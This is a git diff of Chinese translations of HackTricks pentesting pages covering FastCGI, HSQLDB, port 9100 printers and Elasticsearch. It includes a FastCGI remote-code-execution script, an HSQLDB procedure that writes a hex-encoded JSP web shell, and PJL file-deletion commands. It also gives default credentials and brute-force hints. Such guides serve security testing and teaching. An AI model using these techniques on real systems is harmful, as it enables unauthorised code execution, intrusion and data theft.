* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,31 +1,31 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>从零到英雄学习AWS黑客攻击,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# 基本信息
|
||||
|
||||
如果您想了解什么是FastCGI,请查看以下页面:
|
||||
如果您想**了解什么是FastCGI**,请查看以下页面:
|
||||
|
||||
{% content-ref url="pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md" %}
|
||||
[disable\_functions-bypass-php-fpm-fastcgi.md](pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-php-fpm-fastcgi.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
默认情况下,**FastCGI**运行在**端口** **9000**上,并且不被nmap识别。**通常**FastCGI只在**localhost**监听。
|
||||
默认情况下,**FastCGI**在**端口** **9000**上运行,并且nmap无法识别。**通常**FastCGI只在**本地**监听。
|
||||
|
||||
# RCE
|
||||
|
||||
让FastCGI执行任意代码相当容易:
|
||||
让FastCGI执行任意代码非常容易:
|
||||
```bash
|
||||
#!/bin/bash
|
||||
|
||||
|
@ -45,20 +45,19 @@ cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT
|
|||
cat $OUTPUT
|
||||
done
|
||||
```
|
||||
```markdown
|
||||
或者您也可以使用以下Python脚本:[https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
```
|
||||
|
|
|
@ -1,23 +1,23 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>从零到英雄学习AWS黑客攻击</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)上**关注**我。
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# 基本信息
|
||||
|
||||
HSQLDB([HyperSQL DataBase](http://hsqldb.org/))是用Java编写的领先SQL关系数据库系统。它提供了一个小型、快速的多线程和事务型数据库引擎,具有内存和基于磁盘的表,并支持嵌入式和服务器模式。
|
||||
**HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)** 是用Java编写的领先的SQL关系数据库系统。它提供了一个小型、快速的多线程和事务性数据库引擎,支持内存和基于磁盘的表,并支持嵌入式和服务器模式。
|
||||
|
||||
**默认端口:** 9001
|
||||
**默认端口:** 9001
|
||||
```text
|
||||
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
|
||||
```
|
||||
|
@ -25,21 +25,21 @@ HSQLDB([HyperSQL DataBase](http://hsqldb.org/))是用Java编写的领先SQL
|
|||
|
||||
### 默认设置
|
||||
|
||||
请注意,默认情况下,此服务可能在内存中运行或绑定到localhost。如果你找到了它,你可能已经利用了另一个服务,并且正在寻求提升权限。
|
||||
请注意,默认情况下,此服务可能在内存中运行或绑定到本地主机。如果您找到了它,您可能已经利用了另一个服务,并且希望提升权限。
|
||||
|
||||
默认凭据通常是用户名`sa`和空白密码。
|
||||
默认凭据通常为`sa`,密码为空。
|
||||
|
||||
如果你已经利用了另一个服务,请搜索可能的凭据,使用
|
||||
如果您已经利用了另一个服务,请搜索可能的凭据使用
|
||||
```text
|
||||
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
|
||||
```
|
||||
注意数据库名称 - 您需要它来连接。
|
||||
注意仔细记录数据库名称 - 您将需要它来连接。
|
||||
|
||||
# 信息搜集
|
||||
# 信息收集
|
||||
|
||||
通过[下载 HSQLDB](https://sourceforge.net/projects/hsqldb/files/)并解压 `hsqldb/lib/hsqldb.jar` 来连接 DB 实例。使用 `java -jar hsqldb.jar` 运行 GUI 应用程序(eww),并使用发现的/弱凭证连接到实例。
|
||||
通过[下载 HSQLDB](https://sourceforge.net/projects/hsqldb/files/)并提取 `hsqldb/lib/hsqldb.jar` 来连接到数据库实例。使用 `java -jar hsqldb.jar` 运行 GUI 应用程序 \(eww\) 并使用发现的/弱凭据连接到实例。
|
||||
|
||||
注意,对于远程系统,连接 URL 将类似于:`jdbc:hsqldb:hsql://ip/DBNAME`。
|
||||
请注意,对于远程系统,连接 URL 将类似于:`jdbc:hsqldb:hsql://ip/DBNAME`。
|
||||
|
||||
# 技巧
|
||||
|
||||
|
@ -47,9 +47,9 @@ grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
|
|||
|
||||
我们可以使用 Java 语言例程从 HSQLDB 调用 Java 类的静态方法。请注意,被调用的类需要在应用程序的类路径中。
|
||||
|
||||
JRT 可以是 `functions` 或 `procedures`。如果 Java 方法返回一个或多个与 SQL 兼容的原始变量,可以通过 SQL 语句调用函数。它们是使用 `VALUES` 语句调用的。
|
||||
JRT 可以是 `functions` 或 `procedures`。如果 Java 方法返回一个或多个与 SQL 兼容的原始变量,则可以通过 SQL 语句调用函数。它们使用 `VALUES` 语句调用。
|
||||
|
||||
如果我们想要调用的 Java 方法返回 void,我们需要使用通过 `CALL` 语句调用的过程。
|
||||
如果我们要调用的 Java 方法返回 void,则需要使用使用 `CALL` 语句调用的过程。
|
||||
|
||||
## 读取 Java 系统属性
|
||||
|
||||
|
@ -63,11 +63,11 @@ EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
|
|||
```text
|
||||
VALUES(getsystemproperty('user.name'))
|
||||
```
|
||||
你可以在[这里找到系统属性的列表](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html)。
|
||||
您可以在[这里找到系统属性列表](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html)。
|
||||
|
||||
## 写入内容到文件
|
||||
## 将内容写入文件
|
||||
|
||||
你可以使用位于JDK中(自动加载到应用程序的类路径中)的`com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Java小工具,通过自定义过程将十六进制编码的项目写入磁盘。**注意最大尺寸为1024字节**。
|
||||
您可以使用位于JDK中的`com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Java小工具(自动加载到应用程序的类路径中)通过自定义过程将十六进制编码的项目写入磁盘。**请注意最大大小为1024字节**。
|
||||
|
||||
创建过程:
|
||||
```text
|
||||
|
@ -81,14 +81,14 @@ call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>从零到英雄学习AWS黑客攻击,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,8 +1,23 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# 基本信息
|
||||
|
||||
我们将原始打印定义为与网络打印机的9100/tcp端口建立连接的过程。它是CUPS和Windows打印架构用来与网络打印机通信的默认方法,因为它被认为是“_最简单、最快速、通常也是最可靠的用于打印机的网络协议_”。原始端口9100打印,也被称为JetDirect、AppSocket或PDL-datastream,实际上**本身并不是一种打印协议**。相反,**所有发送的数据都会被打印设备直接处理**,就像通过TCP的并行连接一样。与LPD、IPP和SMB不同,它可以向客户端发送直接反馈,包括状态和错误信息。这样的**双向通道**使我们能够直接**访问** **PJL**、**PostScript**或**PCL**命令的**结果**。因此,几乎所有网络打印机都支持的原始端口9100打印 – 被用作使用PRET和PFT进行安全分析的通道。(来源[这里](http://hacking-printers.net/wiki/index.php/Port\_9100\_printing))
|
||||
从[这里](http://hacking-printers.net/wiki/index.php/Port\_9100\_printing):原始打印是我们定义为与网络打印机的9100/tcp端口建立连接的过程。这是CUPS和Windows打印架构用于与网络打印机通信的默认方法,因为它被认为是“_打印机使用的最简单、最快速且通常最可靠的网络协议_”。原始9100端口打印,也称为JetDirect、AppSocket或PDL数据流实际上**并不是一个独立的打印协议**。相反,**所有发送的数据都直接由打印设备处理**,就像通过TCP的并行连接一样。与LPD、IPP和SMB相比,这可以向客户端发送直接反馈,包括状态和错误消息。这样的**双向通道**使我们直接**访问**到**PJL**、**PostScript**或**PCL**命令的**结果**。因此,原始9100端口打印 - 几乎任何网络打印机都支持的通道,被用作使用PRET和PFT进行安全分析的通道。
|
||||
|
||||
如果你想了解更多关于[**黑客攻击打印机的信息,请阅读此页面**](pentesting-printers/)。
|
||||
如果您想了解更多关于[**黑客打印机的信息,请阅读此页面**](http://hacking-printers.net/wiki/index.php/Main_Page)。
|
||||
|
||||
**默认端口:** 9100
|
||||
```
|
||||
|
@ -27,7 +42,7 @@ nc -vn <IP> 9100
|
|||
@PJL FSDOWNLOAD #Useful to download a file
|
||||
@PJL FSDELETE #Useful to delete a file
|
||||
```
|
||||
## 自动
|
||||
## 自动化
|
||||
```bash
|
||||
nmap -sV --script pjl-ready-message -p <PORT> <IP>
|
||||
```
|
||||
|
@ -44,14 +59,10 @@ msf> use auxiliary/scanner/printer/printer_delete_file
|
|||
```
|
||||
## 打印机黑客工具
|
||||
|
||||
这是你想要用来滥用打印机的工具:
|
||||
这是您想要使用的滥用打印机的工具:
|
||||
|
||||
{% embed url="https://github.com/RUB-NDS/PRET" %}
|
||||
|
||||
## 黑客打印机最佳参考
|
||||
|
||||
{% embed url="https://hacking-printers.net/wiki/index.php/File_system_access" %}
|
||||
|
||||
# **Shodan**
|
||||
|
||||
* `pjl port:9100`
|
||||
|
@ -59,14 +70,14 @@ msf> use auxiliary/scanner/printer/printer_delete_file
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果你想在**HackTricks中看到你的公司广告**或者**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享你的黑客技巧。
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,32 +1,30 @@
|
|||
# 9200 - Elasticsearch渗透测试
|
||||
# 9200 - 渗透测试 Elasticsearch
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零到英雄学习AWS黑客攻击!</strong></summary>
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
|
||||
- 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
- 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
- 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** 上关注**我们。
|
||||
- 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
## 基本信息
|
||||
|
||||
从[主页](https://www.elastic.co/what-is/elasticsearch)上,您可以找到一些有用的描述:
|
||||
Elasticsearch 是一款用于**各种类型数据**的**分布式**、**开源**搜索和分析引擎。以其**速度**、**可扩展性**和**简单的 REST API** 而闻名。它是基于 Apache Lucene 构建的,于 2010 年首次由 Elasticsearch N.V.(现在称为 Elastic)发布。Elasticsearch 是 Elastic Stack 的核心组件,这是一套用于数据摄入、丰富、存储、分析和可视化的开源工具集。这个堆栈通常被称为 ELK Stack,还包括 Logstash 和 Kibana,现在还有称为 Beats 的轻量级数据传送代理。
|
||||
|
||||
> Elasticsearch是一个分布式的开源搜索和分析引擎,适用于所有类型的数据,包括文本、数字、地理空间、结构化和非结构化数据。Elasticsearch基于Apache Lucene构建,由Elasticsearch N.V.(现在称为Elastic)于2010年首次发布。以其简单的REST API、分布式特性、速度和可扩展性而闻名,Elasticsearch是Elastic Stack的核心组件,Elastic Stack是一套开源工具,用于数据摄取、丰富、存储、分析和可视化。通常被称为ELK Stack(取自Elasticsearch、Logstash和Kibana),Elastic Stack现在包括一系列称为Beats的轻量级数据传输代理,用于将数据发送到Elasticsearch。
|
||||
### 什么是 Elasticsearch 索引?
|
||||
|
||||
### 什么是Elasticsearch索引?
|
||||
Elasticsearch **索引**是存储为 **JSON** 的**相关文档**集合。每个文档由**键**及其对应的**值**(字符串、数字、布尔值、日期、数组、地理位置等)组成。
|
||||
|
||||
Elasticsearch _索引_ **是一组相关文档的集合**。Elasticsearch将数据存储为JSON文档。每个文档将一组_keys_(字段或属性的名称)与其对应的_values_(字符串、数字、布尔值、日期、_values_数组、地理位置或其他类型的数据)相关联。
|
||||
Elasticsearch 使用一种高效的数据结构称为**倒排索引**来实现快速全文搜索。该索引列出了文档中的每个唯一单词,并标识了每个单词出现在哪些文档中。
|
||||
|
||||
Elasticsearch使用一种称为_倒排索引_的数据结构,该结构旨在允许非常快速的全文搜索。倒排索引列出了在任何文档中出现的每个独特单词,并标识了每个单词出现的所有文档。
|
||||
|
||||
在索引过程中,Elasticsearch存储文档并构建倒排索引,以便在近乎实时的情况下使文档数据可搜索。索引是通过索引API启动的,通过该API,您可以在特定索引中添加或更新JSON文档。
|
||||
在索引过程中,Elasticsearch 存储文档并构建倒排索引,从而实现几乎实时的搜索。**索引 API** 用于在特定索引中添加或更新 JSON 文档。
|
||||
|
||||
**默认端口**:9200/tcp
|
||||
|
||||
|
@ -34,27 +32,27 @@ Elasticsearch使用一种称为_倒排索引_的数据结构,该结构旨在
|
|||
|
||||
### 横幅
|
||||
|
||||
用于访问Elasticsearch的协议是**HTTP**。当您通过HTTP访问它时,您会发现一些有趣的信息:`http://10.10.10.115:9200/`
|
||||
访问 Elasticsearch 的协议是 **HTTP**。当通过 HTTP 访问时,您将找到一些有趣的信息:`http://10.10.10.115:9200/`
|
||||
|
||||
![](<../.gitbook/assets/image (264).png>)
|
||||
|
||||
如果您在访问`/`时没有看到该响应,请参阅以下部分。
|
||||
如果访问 `/` 时未看到该响应,请查看以下部分。
|
||||
|
||||
### 认证
|
||||
|
||||
**默认情况下,Elasticsearch没有启用认证**,所以默认情况下,您可以在不使用任何凭据的情况下访问数据库内的所有内容。
|
||||
**默认情况下,Elasticsearch 未启用身份验证**,因此默认情况下,您可以在不使用任何凭据的情况下访问数据库中的所有内容。
|
||||
|
||||
您可以通过以下请求来验证认证是否被禁用:
|
||||
您可以通过请求验证身份验证是否已禁用:
|
||||
```bash
|
||||
curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user"
|
||||
{"error":{"root_cause":[{"type":"exception","reason":"Security must be explicitly enabled when using a [basic] license. Enable security by setting [xpack.security.enabled] to [true] in the elasticsearch.yml file and restart the node."}],"type":"exception","reason":"Security must be explicitly enabled when using a [basic] license. Enable security by setting [xpack.security.enabled] to [true] in the elasticsearch.yml file and restart the node."},"status":500}
|
||||
```
|
||||
**然而**,如果你向 `/` 发送请求并收到如下响应:
|
||||
**然而**,如果您发送一个请求到 `/` 并收到类似以下响应:
|
||||
```bash
|
||||
{"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401}
|
||||
```
|
||||
这意味着配置了认证,**你需要有效的凭据**才能从elasticsearch获取任何信息。然后,你可以[**尝试暴力破解**](../generic-methodologies-and-resources/brute-force.md#elasticsearch)(它使用HTTP基本认证,所以任何可以暴力破解HTTP基本认证的工具都可以使用)。\
|
||||
这里有一个**默认用户名列表**:_**elastic**(超级用户),remote\_monitoring\_user, beats\_system, logstash\_system, kibana, kibana\_system, apm\_system,_ \_anonymous\_。\_旧版本的Elasticsearch默认密码为**changeme**。
|
||||
这意味着身份验证已配置,**您需要有效的凭据**才能从elasticserach获取任何信息。然后,您可以[**尝试暴力破解**](../generic-methodologies-and-resources/brute-force.md#elasticsearch)(它使用HTTP基本身份验证,因此可以使用任何适用于BF HTTP基本身份验证的方法)。\
|
||||
这里有一个**默认用户名列表**:_**elastic**(超级用户),remote\_monitoring\_user,beats\_system,logstash\_system,kibana,kibana\_system,apm\_system,_ \_anonymous\_.\_ Elasticsearch的旧版本使用此用户的默认密码为**changeme**。
|
||||
```
|
||||
curl -X GET http://user:password@IP:9200/
|
||||
```
|
||||
|
@ -69,9 +67,9 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user"
|
|||
#Get more information about the rights of an user:
|
||||
curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user/<USERNAME>"
|
||||
```
|
||||
### Elastic信息
|
||||
### Elastic Info
|
||||
|
||||
以下是一些端点,您可以通过**GET访问**以获取有关elasticsearch的一些**信息**:
|
||||
以下是一些端点,您可以通过GET访问以获取有关elasticsearch的一些信息:
|
||||
|
||||
| \_cat | /\_cluster | /\_security |
|
||||
| ------------------------------- | ----------------------------- | ------------------------- |
|
||||
|
@ -100,56 +98,56 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user/<USERNAME>"
|
|||
| /\_cat/nodeattrs | | |
|
||||
| /\_cat/nodes | | |
|
||||
|
||||
这些端点是从[**文档中获取的**](https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html),您可以在那里**找到更多信息**。\
|
||||
此外,如果您访问`/_cat`,响应将包含实例支持的`/_cat/*`端点。
|
||||
这些端点来自[**文档**](https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html),您可以在那里找到更多信息。\
|
||||
此外,如果访问`/_cat`,响应将包含实例支持的`/_cat/*`端点。
|
||||
|
||||
在`/_security/user`中(如果启用了auth),您可以看到哪个用户具有`superuser`角色。
|
||||
